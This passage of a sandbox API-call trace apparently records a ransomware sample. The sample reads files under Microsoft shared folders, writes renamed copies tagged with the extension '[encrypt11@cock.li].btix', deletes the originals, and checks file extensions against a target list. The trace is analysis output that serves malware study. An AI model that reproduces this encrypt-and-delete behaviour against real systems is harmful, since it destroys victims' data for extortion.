shared\\ClickToRun\\i641033.hash.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0056.534] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0056.535] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec0 | out: lpNewFilePointer=0x0) returned 1 [0056.535] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec0 | out: lpNewFilePointer=0x0) returned 1 [0056.535] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0056.535] GetLastError () returned 0x0 [0056.535] ReadFile (in: hFile=0x2e0, lpBuffer=0x3a02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefecc, lpOverlapped=0x0 | out: lpBuffer=0x3a02020*, lpNumberOfBytesRead=0x2eefecc*=0x66, lpOverlapped=0x0) returned 1 [0056.536] WriteFile (in: hFile=0x38c, lpBuffer=0x3a02020*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x2eefc94, lpOverlapped=0x0 | out: lpBuffer=0x3a02020*, lpNumberOfBytesWritten=0x2eefc94*=0x70, lpOverlapped=0x0) returned 1 [0056.537] ReadFile (in: hFile=0x2e0, lpBuffer=0x3a02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefecc, lpOverlapped=0x0 | out: lpBuffer=0x3a02020*, lpNumberOfBytesRead=0x2eefecc*=0x0, lpOverlapped=0x0) returned 1 [0056.537] WriteFile (in: hFile=0x38c, lpBuffer=0x3a02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2eefc94, lpOverlapped=0x0 | out: lpBuffer=0x3a02020*, lpNumberOfBytesWritten=0x2eefc94*=0xec, lpOverlapped=0x0) returned 1 [0056.537] SetEndOfFile (hFile=0x38c) returned 1 [0056.537] CloseHandle (hObject=0x38c) returned 1 [0056.538] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec0 | out: lpNewFilePointer=0x0) returned 1 [0056.538] SetEndOfFile (hFile=0x2e0) returned 1 [0056.539] CloseHandle (hObject=0x2e0) returned 1 [0056.539] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0056.539] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash")) returned 1 [0056.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0056.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0056.539] lstrlenW (lpString=".doc") returned 4 [0056.539] lstrcmpiW (lpString1=".doc", lpString2="hash") returned -1 [0056.539] lstrlenW (lpString=".docx") returned 5 [0056.539] lstrcmpiW (lpString1=".docx", lpString2=".hash") returned -1 [0056.539] lstrlenW (lpString=".pdf") returned 4 [0056.539] lstrcmpiW (lpString1=".pdf", lpString2="hash") returned -1 [0056.539] lstrlenW (lpString=".xls") returned 4 [0056.539] lstrcmpiW (lpString1=".xls", lpString2="hash") returned -1 [0056.539] lstrlenW (lpString=".xlsx") returned 5 [0056.539] lstrcmpiW (lpString1=".xlsx", lpString2=".hash") returned 1 [0056.539] lstrlenW (lpString=".ppt") returned 4 [0056.539] lstrcmpiW (lpString1=".ppt", lpString2="hash") returned -1 [0056.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0056.539] lstrlenW (lpString=".zip") returned 4 [0056.539] lstrcmpiW (lpString1=".zip", lpString2="hash") returned -1 [0056.540] lstrlenW (lpString=".rar") returned 4 [0056.540] lstrcmpiW (lpString1=".rar", lpString2="hash") returned -1 [0056.540] lstrlenW (lpString=".bz2") returned 4 [0056.540] lstrcmpiW (lpString1=".bz2", lpString2="hash") returned -1 [0056.540] lstrlenW (lpString=".7z") returned 3 [0056.540] lstrcmpiW (lpString1=".7z", lpString2="ash") returned -1 [0056.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0056.540] lstrlenW (lpString=".dbf") returned 4 [0056.540] lstrcmpiW (lpString1=".dbf", lpString2="hash") returned -1 [0056.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0056.540] lstrlenW (lpString=".1cd") returned 4 [0056.540] lstrcmpiW (lpString1=".1cd", lpString2="hash") returned -1 [0056.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0056.540] lstrlenW (lpString=".jpg") returned 4 [0056.540] lstrcmpiW (lpString1=".jpg", lpString2="hash") returned -1 [0056.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0056.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0056.540] lstrlenW (lpString=".doc") returned 4 [0056.540] lstrcmpiW (lpString1=".doc", lpString2="hash") returned -1 [0056.540] lstrlenW (lpString=".docx") returned 5 [0056.540] lstrcmpiW (lpString1=".docx", lpString2=".hash") returned -1 [0056.540] lstrlenW (lpString=".pdf") returned 4 [0056.540] lstrcmpiW (lpString1=".pdf", lpString2="hash") returned -1 [0056.540] lstrlenW (lpString=".xls") returned 4 [0056.540] lstrcmpiW (lpString1=".xls", lpString2="hash") returned -1 [0056.540] lstrlenW (lpString=".xlsx") returned 5 [0056.540] lstrcmpiW (lpString1=".xlsx", lpString2=".hash") returned 1 [0056.540] lstrlenW (lpString=".ppt") returned 4 [0056.540] lstrcmpiW (lpString1=".ppt", lpString2="hash") returned -1 [0056.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0056.540] lstrlenW (lpString=".zip") returned 4 [0056.540] lstrcmpiW (lpString1=".zip", lpString2="hash") returned -1 [0056.540] lstrlenW (lpString=".rar") returned 4 [0056.540] lstrcmpiW (lpString1=".rar", lpString2="hash") returned -1 [0056.540] lstrlenW (lpString=".bz2") returned 4 [0056.541] lstrcmpiW (lpString1=".bz2", lpString2="hash") returned -1 [0056.541] lstrlenW (lpString=".7z") returned 3 [0056.541] lstrcmpiW (lpString1=".7z", lpString2="ash") returned -1 [0056.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0056.541] lstrlenW (lpString=".dbf") returned 4 [0056.541] lstrcmpiW (lpString1=".dbf", lpString2="hash") returned -1 [0056.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0056.541] lstrlenW (lpString=".1cd") returned 4 [0056.541] lstrcmpiW (lpString1=".1cd", lpString2="hash") returned -1 [0056.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0056.541] lstrlenW (lpString=".jpg") returned 4 [0056.541] lstrcmpiW (lpString1=".jpg", lpString2="hash") returned -1 [0056.541] lstrcmpiW (lpString1=".exe", lpString2=".btix") returned 1 [0056.541] lstrlenW (lpString="IntegratedOffice.exe") returned 20 [0056.541] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0056.541] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2eeff14 | out: lpFileSize=0x2eeff14*=1093248) returned 1 [0056.796] CloseHandle (hObject=0x2e0) returned 1 [0056.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe")) returned 0x20 [0056.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0056.873] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0056.873] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec0 | out: lpNewFilePointer=0x0) returned 1 [0056.873] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec0 | out: lpNewFilePointer=0x0) returned 1 [0056.874] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0056.874] GetLastError () returned 0x0 [0056.874] ReadFile (in: hFile=0x3a4, lpBuffer=0x3a02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefecc, lpOverlapped=0x0 | out: lpBuffer=0x3a02020*, lpNumberOfBytesRead=0x2eefecc*=0xffff0, lpOverlapped=0x0) returned 1 [0057.548] WriteFile (in: hFile=0x2e0, lpBuffer=0x3a02020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2eefc94, lpOverlapped=0x0 | out: lpBuffer=0x3a02020*, lpNumberOfBytesWritten=0x2eefc94*=0xffff0, lpOverlapped=0x0) returned 1 [0057.563] ReadFile (in: hFile=0x3a4, lpBuffer=0x3a02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefecc, lpOverlapped=0x0 | out: lpBuffer=0x3a02020*, lpNumberOfBytesRead=0x2eefecc*=0xae90, lpOverlapped=0x0) returned 1 [0057.837] WriteFile (in: hFile=0x2e0, lpBuffer=0x3a02020*, nNumberOfBytesToWrite=0xaea0, lpNumberOfBytesWritten=0x2eefc94, lpOverlapped=0x0 | out: lpBuffer=0x3a02020*, lpNumberOfBytesWritten=0x2eefc94*=0xaea0, lpOverlapped=0x0) returned 1 [0057.943] ReadFile (in: hFile=0x3a4, lpBuffer=0x3a02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefecc, lpOverlapped=0x0 | out: lpBuffer=0x3a02020*, lpNumberOfBytesRead=0x2eefecc*=0x0, lpOverlapped=0x0) returned 1 [0057.943] WriteFile (in: hFile=0x2e0, lpBuffer=0x3a02020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x2eefc94, lpOverlapped=0x0 | out: lpBuffer=0x3a02020*, lpNumberOfBytesWritten=0x2eefc94*=0xfc, lpOverlapped=0x0) returned 1 [0057.944] SetEndOfFile (hFile=0x2e0) returned 1 [0057.944] CloseHandle (hObject=0x2e0) returned 1 [0057.962] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec0 | out: lpNewFilePointer=0x0) returned 1 [0057.962] SetEndOfFile (hFile=0x3a4) returned 1 [0057.963] CloseHandle (hObject=0x3a4) returned 1 [0057.963] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0057.963] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe")) returned 1 [0057.964] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0057.964] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0057.964] lstrlenW (lpString=".doc") returned 4 [0057.964] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0057.964] lstrlenW (lpString=".docx") returned 5 [0057.964] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0057.964] lstrlenW (lpString=".pdf") returned 4 [0057.964] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0057.964] lstrlenW (lpString=".xls") returned 4 [0057.964] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0057.964] lstrlenW (lpString=".xlsx") returned 5 [0057.964] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0057.964] lstrlenW (lpString=".ppt") returned 4 [0057.964] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0057.964] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0057.964] lstrlenW (lpString=".zip") returned 4 [0057.964] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0057.964] lstrlenW (lpString=".rar") returned 4 [0057.964] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0057.964] lstrlenW (lpString=".bz2") returned 4 [0057.964] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0057.964] lstrlenW (lpString=".7z") returned 3 [0057.964] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0057.964] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0057.964] lstrlenW (lpString=".dbf") returned 4 [0057.964] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0057.964] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0057.964] lstrlenW (lpString=".1cd") returned 4 [0057.964] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0057.964] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0057.964] lstrlenW (lpString=".jpg") returned 4 [0057.964] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0057.964] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0057.965] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0057.965] lstrlenW (lpString=".doc") returned 4 [0057.965] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0057.965] lstrlenW (lpString=".docx") returned 5 [0057.965] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0057.965] lstrlenW (lpString=".pdf") returned 4 [0057.965] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0057.965] lstrlenW (lpString=".xls") returned 4 [0057.965] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0057.965] lstrlenW (lpString=".xlsx") returned 5 [0057.965] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0057.965] lstrlenW (lpString=".ppt") returned 4 [0057.965] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0057.965] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0057.965] lstrlenW (lpString=".zip") returned 4 [0057.965] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0057.965] lstrlenW (lpString=".rar") returned 4 [0057.965] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0057.965] lstrlenW (lpString=".bz2") returned 4 [0057.965] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0057.965] lstrlenW (lpString=".7z") returned 3 [0057.965] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0057.965] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0057.965] lstrlenW (lpString=".dbf") returned 4 [0057.965] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0057.965] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0057.965] lstrlenW (lpString=".1cd") returned 4 [0057.965] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0057.965] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0057.965] lstrlenW (lpString=".jpg") returned 4 [0057.965] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0057.965] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0057.966] lstrlenW (lpString="vcruntime140.dll") returned 16 [0057.966] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0057.966] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x2eeff14 | out: lpFileSize=0x2eeff14*=88752) returned 1 [0057.966] CloseHandle (hObject=0x3a4) returned 1 [0057.966] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll")) returned 0x20 [0057.966] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0057.966] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.966] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0057.966] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0057.966] lstrlenW (lpString=".doc") returned 4 [0057.966] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0057.966] lstrlenW (lpString=".docx") returned 5 [0057.966] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0057.966] lstrlenW (lpString=".pdf") returned 4 [0057.966] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0057.966] lstrlenW (lpString=".xls") returned 4 [0057.966] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0057.966] lstrlenW (lpString=".xlsx") returned 5 [0057.967] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0057.967] lstrlenW (lpString=".ppt") returned 4 [0057.967] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0057.967] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0057.967] lstrlenW (lpString=".zip") returned 4 [0057.967] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0057.967] lstrlenW (lpString=".rar") returned 4 [0057.967] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0057.967] lstrlenW (lpString=".bz2") returned 4 [0057.967] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0057.967] lstrlenW (lpString=".7z") returned 3 [0057.967] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0057.967] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0057.967] lstrlenW (lpString=".dbf") returned 4 [0057.967] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0057.967] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0057.967] lstrlenW (lpString=".1cd") returned 4 [0057.967] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0057.967] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0057.967] lstrlenW (lpString=".jpg") returned 4 [0057.967] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0057.967] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0057.967] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0057.967] lstrlenW (lpString=".doc") returned 4 [0057.967] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0057.967] lstrlenW (lpString=".docx") returned 5 [0057.967] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0057.967] lstrlenW (lpString=".pdf") returned 4 [0057.967] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0057.967] lstrlenW (lpString=".xls") returned 4 [0057.967] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0057.967] lstrlenW (lpString=".xlsx") returned 5 [0057.967] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0057.967] lstrlenW (lpString=".ppt") returned 4 [0057.967] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0057.968] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0057.968] lstrlenW (lpString=".zip") returned 4 [0057.968] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0057.968] lstrlenW (lpString=".rar") returned 4 [0057.968] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0057.968] lstrlenW (lpString=".bz2") returned 4 [0057.968] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0057.968] lstrlenW (lpString=".7z") returned 3 [0057.968] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0057.968] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0057.968] lstrlenW (lpString=".dbf") returned 4 [0057.968] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0057.968] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0057.968] lstrlenW (lpString=".1cd") returned 4 [0057.968] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0057.968] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0057.968] lstrlenW (lpString=".jpg") returned 4 [0057.968] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0057.968] lstrcmpiW (lpString1=".mui", lpString2=".btix") returned 1 [0057.968] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0057.968] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0058.159] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2eeff14 | out: lpFileSize=0x2eeff14*=10752) returned 1 [0058.159] CloseHandle (hObject=0x31c) returned 1 [0058.159] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui")) returned 0x20 [0058.159] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0058.159] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0058.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0058.159] lstrlenW (lpString=".doc") returned 4 [0058.159] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0058.159] lstrlenW (lpString=".docx") returned 5 [0058.159] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0058.159] lstrlenW (lpString=".pdf") returned 4 [0058.159] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0058.159] lstrlenW (lpString=".xls") returned 4 [0058.159] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0058.159] lstrlenW (lpString=".xlsx") returned 5 [0058.159] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0058.159] lstrlenW (lpString=".ppt") returned 4 [0058.159] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0058.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0058.159] lstrlenW (lpString=".zip") returned 4 [0058.159] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0058.159] lstrlenW (lpString=".rar") returned 4 [0058.160] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0058.160] lstrlenW (lpString=".bz2") returned 4 [0058.160] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0058.160] lstrlenW (lpString=".7z") returned 3 [0058.160] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0058.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0058.160] lstrlenW (lpString=".dbf") returned 4 [0058.160] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0058.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0058.160] lstrlenW (lpString=".1cd") returned 4 [0058.160] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0058.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0058.160] lstrlenW (lpString=".jpg") returned 4 [0058.160] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0058.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0058.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0058.160] lstrlenW (lpString=".doc") returned 4 [0058.160] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0058.160] lstrlenW (lpString=".docx") returned 5 [0058.160] 